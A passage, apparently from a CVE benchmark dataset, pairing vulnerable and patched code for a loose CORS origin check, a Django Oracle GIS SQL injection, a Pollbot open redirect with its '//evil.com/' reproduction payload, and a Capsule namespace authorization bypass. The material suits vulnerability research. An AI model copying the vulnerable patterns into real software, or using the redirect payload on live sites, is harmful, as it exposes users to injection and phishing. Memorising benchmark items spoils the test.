GetInstanceImages).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}\", GetSession).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/close\", CloseSession).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}\", CloseSession).Methods(\"DELETE\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/setup\", SessionSetup).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances\", NewInstance).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/uploads\", FileUpload).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}\", DeleteInstance).Methods(\"DELETE\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/exec\", Exec).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/fstree\", fsTree).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/file\", file).Methods(\"GET\")\n\n\tr.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/editor\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"editor.html\")\n\t})\n\n\tr.HandleFunc(\"/ooc\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"ooc.html\")\n\t}).Methods(\"GET\")\n\tr.HandleFunc(\"/503\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"503.html\")\n\t}).Methods(\"GET\")\n\tr.HandleFunc(\"/p/{sessionId}\", Home).Methods(\"GET\")\n\tr.PathPrefix(\"/assets\").HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, r.URL.Path[1:])\n\t})\n\tr.HandleFunc(\"/robots.txt\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"robots.txt\")\n\t})\n\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/ws/\", WSH)\n\tr.Handle(\"/metrics\", promhttp.Handler())\n\n\t// Generic routes\n\tr.HandleFunc(\"/\", Landing).Methods(\"GET\")\n\n\tcorsRouter.HandleFunc(\"/users/me\", LoggedInUser).Methods(\"GET\")\n\tr.HandleFunc(\"/users/{userId:.{3,}}\", GetUser).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers\", ListProviders).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers/{provider}/login\", Login).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers/{provider}/callback\", LoginCallback).Methods(\"GET\")\n\tr.HandleFunc(\"/playgrounds\", NewPlayground).Methods(\"PUT\")\n\tr.HandleFunc(\"/playgrounds\", ListPlaygrounds).Methods(\"GET\")\n\tr.HandleFunc(\"/my/playground\", GetCurrentPlayground).Methods(\"GET\")\n\n\tcorsRouter.HandleFunc(\"/\", NewSession).Methods(\"POST\")\n\n\tif extend != nil {\n\t\textend(corsRouter)\n\t}\n\n\tn := negroni.Classic()\n\n\tr.PathPrefix(\"/\").Handler(negroni.New(negroni.Wrap(corsHandler(corsRouter))))\n\tn.UseHandler(r)\n\n\thttpServer := http.Server{\n\t\tAddr:              \"0.0.0.0:\" + config.PortNumber,\n\t\tHandler:           n,\n\t\tIdleTimeout:       30 * time.Second,\n\t\tReadHeaderTimeout: 5 * time.Second,\n\t}\n\n\tif config.UseLetsEncrypt {\n\t\tdomainCache, err := lru.New(5000)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Could not start domain cache. Got: %v\", err)\n\t\t}\n\t\tcertManager := autocert.Manager{\n\t\t\tPrompt: autocert.AcceptTOS,\n\t\t\tHostPolicy: func(ctx context.Context, host string) error {\n\t\t\t\tif _, found := domainCache.Get(host); !found {\n\t\t\t\t\tif playground := core.PlaygroundFindByDomain(host); playground == nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"Playground for domain %s was not found\", host)\n\t\t\t\t\t}\n\t\t\t\t\tdomainCache.Add(host, true)\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t},\n\t\t\tCache: autocert.DirCache(config.LetsEncryptCertsDir),\n\t\t}\n\n\t\thttpServer.TLSConfig = &tls.Config{\n\t\t\tGetCertificate: certManager.GetCertificate,\n\t\t}\n\n\t\tgo func() {\n\t\t\trr := mux.NewRouter()\n\t\t\trr.HandleFunc(\"/ping\", Ping).Methods(\"GET\")\n\t\t\trr.Handle(\"/metrics\", promhttp.Handler())\n\t\t\trr.HandleFunc(\"/\", func(rw http.ResponseWriter, r *http.Request) {\n\t\t\t\ttarget := fmt.Sprintf(\"https://%s%s\", r.Host, r.URL.Path)\n\t\t\t\tif len(r.URL.RawQuery) > 0 {\n\t\t\t\t\ttarget += \"?\" + r.URL.RawQuery\n\t\t\t\t}\n\t\t\t\thttp.Redirect(rw, r, target, http.StatusMovedPermanently)\n\t\t\t})\n\t\t\tnr := negroni.Classic()\n\t\t\tnr.UseHandler(rr)\n\t\t\tlog.Println(\"Starting redirect server\")\n\t\t\tredirectServer := http.Server{\n\t\t\t\tAddr:              \"0.0.0.0:3001\",\n\t\t\t\tHandler:           certManager.HTTPHandler(nr),\n\t\t\t\tIdleTimeout:       30 * time.Second,\n\t\t\t\tReadHeaderTimeout: 5 * time.Second,\n\t\t\t}\n\t\t\tlog.Fatal(redirectServer.ListenAndServe())\n\t\t}()\n\n\t\tlog.Println(\"Listening on port \" + config.PortNumber)\n\t\tlog.Fatal(httpServer.ListenAndServeTLS(\"\", \"\"))\n\t} else {\n\t\tlog.Println(\"Listening on port \" + config.PortNumber)\n\t\tlog.Fatal(httpServer.ListenAndServe())\n\t}\n}"}], "fix_func": [{"id": "fix_go_249_1", "commit": "ed82247c9ab7990ad76ec2bf1498c2b2830b6f1a", "file_path": "handlers/bootstrap.go", "start_line": 65, "end_line": 199, "snippet": "func Register(extend HandlerExtender) {\n\tinitPlaygrounds()\n\n\tr := mux.NewRouter()\n\tcorsRouter := mux.NewRouter()\n\n\tcorsHandler := gh.CORS(gh.AllowCredentials(), gh.AllowedHeaders([]string{\"x-requested-with\", \"content-type\"}), gh.AllowedMethods([]string{\"GET\", \"POST\", \"HEAD\", \"DELETE\"}), gh.AllowedOriginValidator(func(origin string) bool {\n\t\tif strings.Contains(origin, \"localhost\") ||\n\t\t\tstrings.HasSuffix(origin, \".play-with-docker.com\") ||\n\t\t\tstrings.HasSuffix(origin, \".play-with-kubernetes.com\") ||\n\t\t\tstrings.HasSuffix(origin, \".docker.com\") ||\n\t\t\tstrings.HasSuffix(origin, \".play-with-go.dev\") {\n\t\t\treturn true\n\t\t}\n\t\treturn false\n\t}), gh.AllowedOrigins([]string{}))\n\n\t// Specific routes\n\tr.HandleFunc(\"/ping\", Ping).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/instances/images\", GetInstanceImages).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}\", GetSession).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/close\", CloseSession).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}\", CloseSession).Methods(\"DELETE\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/setup\", SessionSetup).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances\", NewInstance).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/uploads\", FileUpload).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}\", DeleteInstance).Methods(\"DELETE\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/exec\", Exec).Methods(\"POST\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/fstree\", fsTree).Methods(\"GET\")\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/file\", file).Methods(\"GET\")\n\n\tr.HandleFunc(\"/sessions/{sessionId}/instances/{instanceName}/editor\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"editor.html\")\n\t})\n\n\tr.HandleFunc(\"/ooc\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"ooc.html\")\n\t}).Methods(\"GET\")\n\tr.HandleFunc(\"/503\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"503.html\")\n\t}).Methods(\"GET\")\n\tr.HandleFunc(\"/p/{sessionId}\", Home).Methods(\"GET\")\n\tr.PathPrefix(\"/assets\").HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, r.URL.Path[1:])\n\t})\n\tr.HandleFunc(\"/robots.txt\", func(rw http.ResponseWriter, r *http.Request) {\n\t\tserveAsset(rw, r, \"robots.txt\")\n\t})\n\n\tcorsRouter.HandleFunc(\"/sessions/{sessionId}/ws/\", WSH)\n\tr.Handle(\"/metrics\", promhttp.Handler())\n\n\t// Generic routes\n\tr.HandleFunc(\"/\", Landing).Methods(\"GET\")\n\n\tcorsRouter.HandleFunc(\"/users/me\", LoggedInUser).Methods(\"GET\")\n\tr.HandleFunc(\"/users/{userId:.{3,}}\", GetUser).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers\", ListProviders).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers/{provider}/login\", Login).Methods(\"GET\")\n\tr.HandleFunc(\"/oauth/providers/{provider}/callback\", LoginCallback).Methods(\"GET\")\n\tr.HandleFunc(\"/playgrounds\", NewPlayground).Methods(\"PUT\")\n\tr.HandleFunc(\"/playgrounds\", ListPlaygrounds).Methods(\"GET\")\n\tr.HandleFunc(\"/my/playground\", GetCurrentPlayground).Methods(\"GET\")\n\n\tcorsRouter.HandleFunc(\"/\", NewSession).Methods(\"POST\")\n\n\tif extend != nil {\n\t\textend(corsRouter)\n\t}\n\n\tn := negroni.Classic()\n\n\tr.PathPrefix(\"/\").Handler(negroni.New(negroni.Wrap(corsHandler(corsRouter))))\n\tn.UseHandler(r)\n\n\thttpServer := http.Server{\n\t\tAddr:              \"0.0.0.0:\" + config.PortNumber,\n\t\tHandler:           n,\n\t\tIdleTimeout:       30 * time.Second,\n\t\tReadHeaderTimeout: 5 * time.Second,\n\t}\n\n\tif config.UseLetsEncrypt {\n\t\tdomainCache, err := lru.New(5000)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Could not start domain cache. Got: %v\", err)\n\t\t}\n\t\tcertManager := autocert.Manager{\n\t\t\tPrompt: autocert.AcceptTOS,\n\t\t\tHostPolicy: func(ctx context.Context, host string) error {\n\t\t\t\tif _, found := domainCache.Get(host); !found {\n\t\t\t\t\tif playground := core.PlaygroundFindByDomain(host); playground == nil {\n\t\t\t\t\t\treturn fmt.Errorf(\"Playground for domain %s was not found\", host)\n\t\t\t\t\t}\n\t\t\t\t\tdomainCache.Add(host, true)\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t},\n\t\t\tCache: autocert.DirCache(config.LetsEncryptCertsDir),\n\t\t}\n\n\t\thttpServer.TLSConfig = &tls.Config{\n\t\t\tGetCertificate: certManager.GetCertificate,\n\t\t}\n\n\t\tgo func() {\n\t\t\trr := mux.NewRouter()\n\t\t\trr.HandleFunc(\"/ping\", Ping).Methods(\"GET\")\n\t\t\trr.Handle(\"/metrics\", promhttp.Handler())\n\t\t\trr.HandleFunc(\"/\", func(rw http.ResponseWriter, r *http.Request) {\n\t\t\t\ttarget := fmt.Sprintf(\"https://%s%s\", r.Host, r.URL.Path)\n\t\t\t\tif len(r.URL.RawQuery) > 0 {\n\t\t\t\t\ttarget += \"?\" + r.URL.RawQuery\n\t\t\t\t}\n\t\t\t\thttp.Redirect(rw, r, target, http.StatusMovedPermanently)\n\t\t\t})\n\t\t\tnr := negroni.Classic()\n\t\t\tnr.UseHandler(rr)\n\t\t\tlog.Println(\"Starting redirect server\")\n\t\t\tredirectServer := http.Server{\n\t\t\t\tAddr:              \"0.0.0.0:3001\",\n\t\t\t\tHandler:           certManager.HTTPHandler(nr),\n\t\t\t\tIdleTimeout:       30 * time.Second,\n\t\t\t\tReadHeaderTimeout: 5 * time.Second,\n\t\t\t}\n\t\t\tlog.Fatal(redirectServer.ListenAndServe())\n\t\t}()\n\n\t\tlog.Println(\"Listening on port \" + config.PortNumber)\n\t\tlog.Fatal(httpServer.ListenAndServeTLS(\"\", \"\"))\n\t} else {\n\t\tlog.Println(\"Listening on port \" + config.PortNumber)\n\t\tlog.Fatal(httpServer.ListenAndServe())\n\t}\n}"}], "vul_patch": "--- a/handlers/bootstrap.go\n+++ b/handlers/bootstrap.go\n@@ -6,10 +6,10 @@\n \n \tcorsHandler := gh.CORS(gh.AllowCredentials(), gh.AllowedHeaders([]string{\"x-requested-with\", \"content-type\"}), gh.AllowedMethods([]string{\"GET\", \"POST\", \"HEAD\", \"DELETE\"}), gh.AllowedOriginValidator(func(origin string) bool {\n \t\tif strings.Contains(origin, \"localhost\") ||\n-\t\t\tstrings.HasSuffix(origin, \"play-with-docker.com\") ||\n-\t\t\tstrings.HasSuffix(origin, \"play-with-kubernetes.com\") ||\n-\t\t\tstrings.HasSuffix(origin, \"docker.com\") ||\n-\t\t\tstrings.HasSuffix(origin, \"play-with-go.dev\") {\n+\t\t\tstrings.HasSuffix(origin, \".play-with-docker.com\") ||\n+\t\t\tstrings.HasSuffix(origin, \".play-with-kubernetes.com\") ||\n+\t\t\tstrings.HasSuffix(origin, \".docker.com\") ||\n+\t\t\tstrings.HasSuffix(origin, \".play-with-go.dev\") {\n \t\t\treturn true\n \t\t}\n \t\treturn false\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-9402", "cve_description": "Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allows SQL Injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it was possible to break escaping and inject malicious SQL.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927"], "programing_language": "Python", "vul_func": [{"id": "vul_py_296_1", "commit": "65ab4f9", "file_path": "django/contrib/gis/db/models/aggregates.py", "start_line": 29, "end_line": 32, "snippet": "    def as_oracle(self, compiler, connection, **extra_context):\n        tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)\n        template = None if self.is_extent else '%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))'\n        return self.as_sql(compiler, connection, template=template, tolerance=tolerance, **extra_context)"}, {"id": "vul_py_296_2", "commit": "65ab4f9", "file_path": "django/contrib/gis/db/models/functions.py", "start_line": 113, "end_line": 119, "snippet": "    def as_oracle(self, compiler, connection, **extra_context):\n        tol = self.extra.get('tolerance', self.tolerance)\n        return self.as_sql(\n            compiler, connection,\n            template=\"%%(function)s(%%(expressions)s, %s)\" % tol,\n            **extra_context\n        )"}], "fix_func": [{"id": "fix_py_296_1", "commit": "6695d29b1c1ce979725816295a26ecc64ae0e927", "file_path": "django/contrib/gis/db/models/aggregates.py", "start_line": 29, "end_line": 39, "snippet": "    def as_oracle(self, compiler, connection, **extra_context):\n        if not self.is_extent:\n            tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)\n            clone = self.copy()\n            clone.set_source_expressions([\n                *self.get_source_expressions(),\n                Value(tolerance),\n            ])\n            template = '%(function)s(SDOAGGRTYPE(%(expressions)s))'\n            return clone.as_sql(compiler, connection, template=template, **extra_context)\n        return self.as_sql(compiler, connection, **extra_context)"}, {"id": "fix_py_296_2", "commit": "6695d29b1c1ce979725816295a26ecc64ae0e927", "file_path": "django/contrib/gis/db/models/functions.py", "start_line": 113, "end_line": 121, "snippet": "    def as_oracle(self, compiler, connection, **extra_context):\n        tolerance = Value(self._handle_param(\n            self.extra.get('tolerance', self.tolerance),\n            'tolerance',\n            NUMERIC_TYPES,\n        ))\n        clone = self.copy()\n        clone.set_source_expressions([*self.get_source_expressions(), tolerance])\n        return clone.as_sql(compiler, connection, **extra_context)"}], "vul_patch": "--- a/django/contrib/gis/db/models/aggregates.py\n+++ b/django/contrib/gis/db/models/aggregates.py\n@@ -1,4 +1,11 @@\n     def as_oracle(self, compiler, connection, **extra_context):\n-        tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)\n-        template = None if self.is_extent else '%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))'\n-        return self.as_sql(compiler, connection, template=template, tolerance=tolerance, **extra_context)\n+        if not self.is_extent:\n+            tolerance = self.extra.get('tolerance') or getattr(self, 'tolerance', 0.05)\n+            clone = self.copy()\n+            clone.set_source_expressions([\n+                *self.get_source_expressions(),\n+                Value(tolerance),\n+            ])\n+            template = '%(function)s(SDOAGGRTYPE(%(expressions)s))'\n+            return clone.as_sql(compiler, connection, template=template, **extra_context)\n+        return self.as_sql(compiler, connection, **extra_context)\n\n--- a/django/contrib/gis/db/models/functions.py\n+++ b/django/contrib/gis/db/models/functions.py\n@@ -1,7 +1,9 @@\n     def as_oracle(self, compiler, connection, **extra_context):\n-        tol = self.extra.get('tolerance', self.tolerance)\n-        return self.as_sql(\n-            compiler, connection,\n-            template=\"%%(function)s(%%(expressions)s, %s)\" % tol,\n-            **extra_context\n-        )\n+        tolerance = Value(self._handle_param(\n+            self.extra.get('tolerance', self.tolerance),\n+            'tolerance',\n+            NUMERIC_TYPES,\n+        ))\n+        clone = self.copy()\n+        clone.set_source_expressions([*self.get_source_expressions(), tolerance])\n+        return clone.as_sql(compiler, connection, **extra_context)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-21354", "cve_description": "Pollbot is open source software which \"frees its human masters from the toilsome task of polling for the state of things during the Firefox release process.\" In Pollbot before version 1.4.4 there is an open redirection vulnerability in the path of \"https://pollbot.services.mozilla.com/\". An attacker can redirect anyone to malicious sites. To Reproduce type in this URL: \"https://pollbot.services.mozilla.com//evil.com/\". Affected versions will redirect to that website when you inject a payload like \"//evil.com/\". This is fixed in version 1.4.4.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/mozilla/PollBot", "patch_url": ["https://github.com/mozilla/PollBot/commit/6db74a4fcbff258c7cdf51a6ff0724fc10c485e5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_33_1", "commit": "78539af", "file_path": "pollbot/middlewares.py", "start_line": 61, "end_line": 69, "snippet": "async def handle_404(request, response):\n    if 'json' not in response.headers['Content-Type']:\n        if request.path.endswith('/'):\n            return web.HTTPFound(request.path.rstrip('/'))\n        return web.json_response({\n            \"status\": 404,\n            \"message\": \"Page '{}' not found\".format(request.path)\n        }, status=404)\n    return response"}], "fix_func": [{"id": "fix_py_33_1", "commit": "6db74a4fcbff258c7cdf51a6ff0724fc10c485e5", "file_path": "pollbot/middlewares.py", "start_line": 61, "end_line": 69, "snippet": "async def handle_404(request, response):\n    if 'json' not in response.headers['Content-Type']:\n        if request.path.endswith('/'):\n            return web.HTTPFound('/' + request.path.strip('/'))\n        return web.json_response({\n            \"status\": 404,\n            \"message\": \"Page '{}' not found\".format(request.path)\n        }, status=404)\n    return response"}], "vul_patch": "--- a/pollbot/middlewares.py\n+++ b/pollbot/middlewares.py\n@@ -1,7 +1,7 @@\n async def handle_404(request, response):\n     if 'json' not in response.headers['Content-Type']:\n         if request.path.endswith('/'):\n-            return web.HTTPFound(request.path.rstrip('/'))\n+            return web.HTTPFound('/' + request.path.strip('/'))\n         return web.json_response({\n             \"status\": 404,\n             \"message\": \"Page '{}' not found\".format(request.path)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21354:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/PollBot\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-21354/bin/python -m pytest tests/test_views.py::test_redirects_strip_leading_slashes -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-21354:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/PollBot\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-21354/bin/python -m pytest tests/test_views.py -k \"not test_beta_partner_repacks and \\\nnot test_release_bedrock_release_notes and \\\nnot test_devedition_bedrock_release_notes and \\\nnot test_release_bedrock_esr_release_notes and \\\nnot test_heartbeat and \\\nnot test_version_view_return_200 and \\\nnot test_endpoint_have_got_cache_control_headers\" \\\n-p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2024-39690", "cve_description": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. In Capsule v0.7.0 and earlier, the tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/projectcapsule/capsule", "patch_url": ["https://github.com/projectcapsule/capsule/commit/d620b0457ddec01616b8eab8512a10611611f584"], "programing_language": "Go", "vul_func": [{"id": "vul_go_281_1", "commit": "1d9fcc7a0d3dbd1ac44cfa10fb2ecd923f7e0d2e", "file_path": "pkg/webhook/ownerreference/patching.go", "start_line": 52, "end_line": 102, "snippet": "func (h *handler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {\n\treturn func(_ context.Context, req admission.Request) *admission.Response {\n\t\toldNs := &corev1.Namespace{}\n\t\tif err := decoder.DecodeRaw(req.OldObject, oldNs); err != nil {\n\t\t\treturn utils.ErroredResponse(err)\n\t\t}\n\n\t\tif len(oldNs.OwnerReferences) == 0 {\n\t\t\treturn nil\n\t\t}\n\n\t\tnewNs := &corev1.Namespace{}\n\t\tif err := decoder.Decode(req, newNs); err != nil {\n\t\t\treturn utils.ErroredResponse(err)\n\t\t}\n\n\t\to, err := json.Marshal(newNs.DeepCopy())\n\t\tif err != nil {\n\t\t\tresponse := admission.Errored(http.StatusInternalServerError, err)\n\n\t\t\treturn &response\n\t\t}\n\n\t\tvar refs []metav1.OwnerReference\n\n\t\tfor _, ref := range oldNs.OwnerReferences {\n\t\t\tif capsuleutils.IsTenantOwnerReference(ref) {\n\t\t\t\trefs = append(refs, ref)\n\t\t\t}\n\t\t}\n\n\t\tfor _, ref := range newNs.OwnerReferences {\n\t\t\tif !capsuleutils.IsTenantOwnerReference(ref) {\n\t\t\t\trefs = append(refs, ref)\n\t\t\t}\n\t\t}\n\n\t\tnewNs.OwnerReferences = refs\n\n\t\tc, err := json.Marshal(newNs)\n\t\tif err != nil {\n\t\t\tresponse := admission.Errored(http.StatusInternalServerError, err)\n\n\t\t\treturn &response\n\t\t}\n\n\t\tresponse := admission.PatchResponseFromRaw(o, c)\n\n\t\treturn &response\n\t}\n}"}], "fix_func": [{"id": "fix_go_281_1", "commit": "d620b0457ddec01616b8eab8512a10611611f584", "file_path": "pkg/webhook/ownerreference/patching.go", "start_line": 53, "end_line": 114, "snippet": "func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {\n\treturn func(ctx context.Context, req admission.Request) *admission.Response {\n\t\toldNs := &corev1.Namespace{}\n\t\tif err := decoder.DecodeRaw(req.OldObject, oldNs); err != nil {\n\t\t\treturn utils.ErroredResponse(err)\n\t\t}\n\n\t\ttntList := &capsulev1beta2.TenantList{}\n\t\tif err := c.List(ctx, tntList, client.MatchingFieldsSelector{\n\t\t\tSelector: fields.OneTermEqualSelector(\".status.namespaces\", oldNs.Name),\n\t\t}); err != nil {\n\t\t\treturn utils.ErroredResponse(err)\n\t\t}\n\n\t\tif !h.namespaceIsOwned(oldNs, tntList, req) {\n\t\t\trecorder.Eventf(oldNs, corev1.EventTypeWarning, \"OfflimitNamespace\", \"Namespace %s can not be patched\", oldNs.GetName())\n\n\t\t\tresponse := admission.Denied(\"Denied patch request for this namespace\")\n\n\t\t\treturn &response\n\t\t}\n\n\t\tnewNs := &corev1.Namespace{}\n\t\tif err := decoder.Decode(req, newNs); err != nil {\n\t\t\treturn utils.ErroredResponse(err)\n\t\t}\n\n\t\to, err := json.Marshal(newNs.DeepCopy())\n\t\tif err != nil {\n\t\t\tresponse := admission.Errored(http.StatusInternalServerError, err)\n\n\t\t\treturn &response\n\t\t}\n\n\t\tvar refs []metav1.OwnerReference\n\n\t\tfor _, ref := range oldNs.OwnerReferences {\n\t\t\tif capsuleutils.IsTenantOwnerReference(ref) {\n\t\t\t\trefs = append(refs, ref)\n\t\t\t}\n\t\t}\n\n\t\tfor _, ref := range newNs.OwnerReferences {\n\t\t\tif !capsuleutils.IsTenantOwnerReference(ref) {\n\t\t\t\trefs = append(refs, ref)\n\t\t\t}\n\t\t}\n\n\t\tnewNs.OwnerReferences = refs\n\n\t\tc, err := json.Marshal(newNs)\n\t\tif err != nil {\n\t\t\tresponse := admission.Errored(http.StatusInternalServerError, err)\n\n\t\t\treturn &response\n\t\t}\n\n\t\tresponse := admission.PatchResponseFromRaw(o, c)\n\n\t\treturn &response\n\t}\n}"}, {"id": "fix_go_281_2", "commit": "d620b0457ddec01616b8eab8512a10611611f584", "file_path": "pkg/webhook/ownerreference/patching.go", "start_line": 116, "end_line": 129, "snippet": "func (h *handler) namespaceIsOwned(ns *corev1.Namespace, tenantList *capsulev1beta2.TenantList, req admission.Request) bool {\n\tfor _, tenant := range tenantList.Items {\n\t\tfor _, ownerRef := range ns.OwnerReferences {\n\t\t\tif !capsuleutils.IsTenantOwnerReference(ownerRef) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif ownerRef.UID == tenant.UID && utils.IsTenantOwner(tenant.Spec.Owners, req.UserInfo) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/pkg/webhook/ownerreference/patching.go\n+++ b/pkg/webhook/ownerreference/patching.go\n@@ -1,12 +1,23 @@\n-func (h *handler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {\n-\treturn func(_ context.Context, req admission.Request) *admission.Response {\n+func (h *handler) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) capsulewebhook.Func {\n+\treturn func(ctx context.Context, req admission.Request) *admission.Response {\n \t\toldNs := &corev1.Namespace{}\n \t\tif err := decoder.DecodeRaw(req.OldObject, oldNs); err != nil {\n \t\t\treturn utils.ErroredResponse(err)\n \t\t}\n \n-\t\tif len(oldNs.OwnerReferences) == 0 {\n-\t\t\treturn nil\n+\t\ttntList := &capsulev1beta2.TenantList{}\n+\t\tif err := c.List(ctx, tntList, client.MatchingFieldsSelector{\n+\t\t\tSelector: fields.OneTermEqualSelector(\".status.namespaces\", oldNs.Name),\n+\t\t}); err != nil {\n+\t\t\treturn utils.ErroredResponse(err)\n+\t\t}\n+\n+\t\tif !h.namespaceIsOwned(oldNs, tntList, req) {\n+\t\t\trecorder.Eventf(oldNs, corev1.EventTypeWarning, \"OfflimitNamespace\", \"Namespace %s can not be patched\", oldNs.GetName())\n+\n+\t\t\tresponse := admission.Denied(\"Denied patch request for this namespace\")\n+\n+\t\t\treturn &response\n \t\t}\n \n \t\tnewNs := &corev1.Namespace{}\n\n--- /dev/null\n+++ b/pkg/webhook/ownerreference/patching.go\n@@ -0,0 +1,14 @@\n+func (h *handler) namespaceIsOwned(ns *corev1.Namespace, tenantList *capsulev1beta2.TenantList, req admission.Request) bool {\n+\tfor _, tenant := range tenantList.Items {\n+\t\tfor _, ownerRef := range ns.OwnerReferences {\n+\t\t\tif !capsuleutils.IsTenantOwnerReference(ownerRef) {\n+\t\t\t\tcontinue\n+\t\t\t}\n+\t\t\tif ownerRef.UID == tenant.UID && utils.IsTenantOwner(tenant.Spec.Owners, req.UserInfo) {\n+\t\t\t\treturn true\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\treturn false\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-0815", "cve_description": "Command injection in paddle.utils.download._wget_download (bypass filter) in paddlepaddle/paddle 2.6.0", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": 